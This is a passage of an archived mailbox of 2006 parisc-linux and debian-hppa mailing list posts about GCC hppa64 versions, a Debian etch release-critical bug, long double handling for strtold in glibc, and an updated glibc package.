	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07GtKmF019459;
	Sat, 7 Jan 2006 11:55:20 -0500 (EST)
In-Reply-To: <200601071606.24320.deller@gmx.de> from "Helge Deller" at Jan 7, 2006 04:06:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LJfNY4coeSEkNb6WZHQhaXN1IGRvb4AY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23339

> On Friday 06 January 2006 20:27, Kyle McMartin wrote:
> > On Fri, Jan 06, 2006 at 03:54:40AM +0100, Matthias Klose wrote:
> > > Which gcc-X.Y-hppa64 variants are still needed for Debian sid/etch?
> > > Currently compilers are built for 3.3, 3.4, 4.0 and 4.1, the latter
> > > one for experimental. Is it time to drop some of these?
> > >
> > 
> > Please don't remove gcc-3.4-hppa64. I use it on many machines
> > for kernel builds. 3.3 and 4.0 can go, imnsho, but I'll defer to the
> > experts. 
> 
> I'm for removing 3.3 and 4.0 as well.

Personally, I would take 4.0 over 4.1 at the moment.  Although 4.1
is getting there, it's taking more time than expected to eliminate
most of the regressions.  For example, the ada testsuite is pretty
clean in 4.0, but there are a lot of problems in 4.1.  I'm aware of
one optimization issue affecting floating point code.  This problem
is present in all versions, but exposed by the "improvements" in 4.x.

The newer GCC versions require more memory and are slower.  You might
find that 4.x is too slow on PA 1.1 machines.  The GCC build and check
time on a 735 is up to about five days.

It takes quite a bit of time to find and fix bugs.  For example, there
are still a number of libc problems caused by the move to 4.0.  So, I
wouldn't rush to use the newer versions unless they fix a crucial bug.

> BTW, what does it take to drop hppa64-compiler in favour of a "-m64" compiler flag (as on x86_64) to hppa-gcc as well ?

Quite a bit of work is involved.  Some of the work involves adding new
target hooks to the core code.  The problem is that there are different
sets of macro defines for 32 bit/64 bit/gas/HP as/GNU ld/HP ld/etc and these
conditionally change the behavior of other macros defined in the core code.
In the past, Jeff Law stated that this wasn't worth doing.  At the moment,
my primary focus is on fixing bugs and regressions, and getting libjava
working under hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: qt-x11-free build fails
Date: Sat, 7 Jan 2006 10:40:00 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20060107174000.GA11145__23294.5378440947$1416623980$gmane$org@colo.lackof.org>
References: <20060107090511.GI29300@tennyson.dodds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623980 17769 80.91.229.3 (22 Nov 2014 02:39:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:40 +0000 (UTC)
To: 342545@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 debian-release@lists.debian.org,
 lamont@debian.org,
 willy@debian.org,
 tausq@debian.org,
 kyle@debian.org,
 jbailey@debian.org,
 341675@bugs.debian.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 17:30:57 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx010) with SMTP; 07 Jan 2006 18:30:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D179E2ECD7; Sat,  7 Jan 2006 11:30:55 -0600 (CST)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id C5CB52E080;
	Sat,  7 Jan 2006 11:30:54 -0600 (CST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 817C2298026;
	Sat,  7 Jan 2006 10:40:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11524-01; Sat, 7 Jan 2006 10:40:00 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 15172298013; Sat,  7 Jan 2006 10:40:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060107090511.GI29300@tennyson.dodds.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <Dqj6rB.A.GyE.Pr_vDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5068
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  7 Jan 2006 11:30:55 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: hZ/NY2sseSEkeL6WZHQhaXN1IGRvbwCq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23340

On Sat, Jan 07, 2006 at 01:05:11AM -0800, Steve Langasek wrote:
> Grant, thank you for your work to date on this bug.  (BTW, it would be
> helpful if you would follow up to bug #342545 on libgcc2, instead of bug
> #341675 which is filed against just one of the many packages affected by
> it).

Steve,
welcome!
I'm just replying to what was already on the CC list.
I've also added parisc-linux mailing list since this may involve
kernel and/or need FP unit expertise that I don't have.

> Unfortunately, it doesn't seem from the bug log as though much progress is
> being made towards a resolution.

We (several hppa developers) are working on it.
But keep in mind this is a hobby for all of us.

> At this point, the KDE transition has
> been completed in testing for all architectures, with the exception of hppa
> as a result of this bug.  The release team is already moving on to other
> transitions that need to happen for etch, including another round of
> dbus-related KDE changes.

My opinion: release team should move on and ignore hppa until this is
resolved. If it doesn't get resolved in the next couple of weeks
(say by Feb or mid-Feb), then drop hppa from etch. But I'm not
a DD and don't want to know the politics involved. Just my $0.02.

> This is a release-critical bug, and it is impacting hppa's ability to keep
> up with etch at large, extending even to such core packages as aptitude
> (build-depends on cppunit; now uninstallable in testing on hppa).

*nod* - I saw the KDE dependency already.

>  Is there
> progress being made on this bug that's not shown in the bug log, or do we
> need to consider dropping hppa from the list of etch release archs at this
> point?

Yes, we are making progress - nothing new to report since last week.
I'm looking at it today and will consult with other hppa developers
once I have more data later today.

And as noted above, I think release team should informally ignore
hppa until this is resolved and we catch up again. But I don't know
what the politics or policys in Debian allow for. I'm just a (mostly)
happy debian user and upstream (hppa) maintainer.

thanks,
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 18:42:30 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <20060107234230.GQ17559@baldric.uwo.ca>
References: <20060107210757.GM17559@baldric.uwo.ca>
	<200601072241.k07MfqiW020827@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623981 17787 80.91.229.3 (22 Nov 2014 02:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:41 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:42:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 08 Jan 2006 00:42:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55B307D81B;
	Sat,  7 Jan 2006 16:42:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28290-04; Sat, 7 Jan 2006 16:42:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 024437D815;
	Sat,  7 Jan 2006 16:42:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 117557D80F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:42:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27866-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:42:38 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 5C07E7D7FE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:42:38 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvNhe-0006VQ-00; Sat, 07 Jan 2006 18:42:30 -0500
Content-Disposition: inline
In-Reply-To: <200601072241.k07MfqiW020827@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oTSyYzVoeSEkNb6WZHQhaXN1IGRvb8D2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23341

On Sat, Jan 07, 2006 at 05:41:52PM -0500, John David Anglin wrote:
> > strtold will never work, gcc and libc have different sizes for long
> > double. This is probably a side-effect of this.
> 
> I'm not sure what has changed but this is the source of a number
> of gfortran and libstdc++ regressions when using the current version
> of libc in unstable.

strold has always done funny things in the glibc testsuite, consider
yourself lucky.
 
> > If we really want long double to work we need to do something like set
> > it to be the same as double.
> 
> Long double has always been the same as double in GCC.  It allowed
> by the C and C++ standards.  It fast and the hardware and corner
> cases are well understood.

So long doubles have always been DFmode in GCC, okay, I thought it was
something else.

glibc thinks long double is 128-bit. If you want strtold to work then I
need to make the changes in glibc.

> I've given up hope that HP will release their IEEE long double emulation
> code for PA-RISC.  Although I don't have any hard evidence of bugs in it,
> there is the suggestion from the ada testsuite run under hpux that there
> may be bugs in the rounding and exception support.

I agree, I don't think it will ever be released. If it is released then
we'll jigger it out some other way :)

> > 128-bit long double is just going to be a pain, and I don't know how
> > well the 80-bit long double from IBM supports IEEE modes.
> 
> The only viable alternatives at this point are:
> 
>   1) long double == double (64 bit long double), or
>   2) IBM 128-bit double double implementation used by powerpc.

Or write our own library! ;-)

> After more than a year of using the double-double format, the powerpc
> folks are still working the bugs out from the corner cases.  While I
> guess it more or less works, I wouldn't want to rely on it for
> critical calculations.  RTH recented indicated that this would be a
> poor choice for another port in the same situation.  The same viewpoint
> was expressed to me by an Ada maintainer at the last GCC summit.  Ada
> probably has the best numerics support in GCC.

I say we go for (1).

> There is no support for the 80-bit format (either in hardware or
> software) on PA-RISC as far as I know.  So, this alternative isn't viable.

Okay.

> C99 requires long double support.  Thus, I believe we should go with
> option 1 and libc should be changed.  We aren't the only target with
> this problem, so there must be some libc support for 64-bit long double.

I believe it will only require removing the implies line for ldbl-128
from glibc.

I am building you a new debian glibc based on 2.3.5-8 for you to test,
would this be good?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 19:18:36 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20060108001836.GV17559@baldric.uwo.ca>
References: <20060107235546.GU17559@baldric.uwo.ca>
	<200601080008.k0808n4E021273@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623981 17798 80.91.229.3 (22 Nov 2014 02:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:41 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 00:18:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 08 Jan 2006 01:18:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CED867D85B;
	Sat,  7 Jan 2006 17:18:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29827-06; Sat, 7 Jan 2006 17:18:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F12907D857;
	Sat,  7 Jan 2006 17:18:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3A047D853
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 17:18:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29827-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 17:18:46 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 1FA0D7D84E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 17:18:46 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvOGb-0006mT-00; Sat, 07 Jan 2006 19:18:37 -0500
Content-Disposition: inline
In-Reply-To: <200601080008.k0808n4E021273@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Oj+yY1cgeSEkf76WZHQhaXN1IGRvb4Ar
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23342

On Sat, Jan 07, 2006 at 07:08:49PM -0500, John David Anglin wrote:
> > > Do you also have a fix for FP exception support?
> > 
> > Do you refer to the fenv_t align problems?
> 
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=327351.  Vaguely
> I thought that there might have been a similar issue in fesetexceptflag
> or feraiseexcept.

Two problems:

a) GCC optimizing away code.
	- Fixed by using struct and memory clobber.
b) Unaligned fenv_t
	- Fixed by copying to temporarily aligned structure.

Both patches are included in my new debian glibc package.
That is not to say that fpu/* code is correct, there were always
failures in the testsuite that come and go changing with time.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Updated glibc 2.3.5-8.1
Date: Sat, 7 Jan 2006 22:03:43 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20060108030342.GA17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623981 17806 80.91.229.3 (22 Nov 2014 02:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:41 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 03:03:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 08 Jan 2006 04:03:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 144BD7D802;
	Sat,  7 Jan 2006 20:03:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30655-07; Sat, 7 Jan 2006 20:03:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7583F7D803;
	Sat,  7 Jan 2006 20:03:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C7147D7FB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 20:03:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30178-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 20:03:44 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 68B7D7D7FA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 20:03:44 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvQqN-00083Z-00; Sat, 07 Jan 2006 22:03:43 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TeSyY0UbeSEkKr6WZHQhaXN1IGRvb8Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23343


Updated glibc 2.3.5-8.1

Contains the following extra fixes:

- Added relocation support for:
	= DIR21L, DIR14R, PLABEL21L, PLABEL21R.

- Fixed return value restore in syscall cancellation

- Probably messed up fpu code but made it more compliant
  with the fr0 save/restore of T-bit.

- Removed implied routines for 128-bit long double, default
  should be whatever gcc uses for long double (DFmode).

Update located:
http://www.parisc-linux.org/~carlos/glibc-work/glibc-2.3.5-debs-2006-01-07/

I have this running on my local system without problems.
I'm testing the NPTL/TLS toolchain using this as my system libc.

Dave could you please test if this fixes the strtold failures?

This is probably the patch set I will send upstream.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mozilla vs. firefox.
Date: Sat, 7 Jan 2006 22:28:45 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20060108032845.GC17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623982 17815 80.91.229.3 (22 Nov 2014 02:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 03:28:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 08 Jan 2006 04:28:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96CD97D85D;
	Sat,  7 Jan 2006 20:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31515-05; Sat, 7 Jan 2006 20:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0E017D856;
	Sat,  7 Jan 2006 20:28:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72B767D853
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 20:28:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31515-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 20:28:46 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id D375A7D852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 20:28:46 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvREb-0008JH-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 07 Jan 2006 22:28:45 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
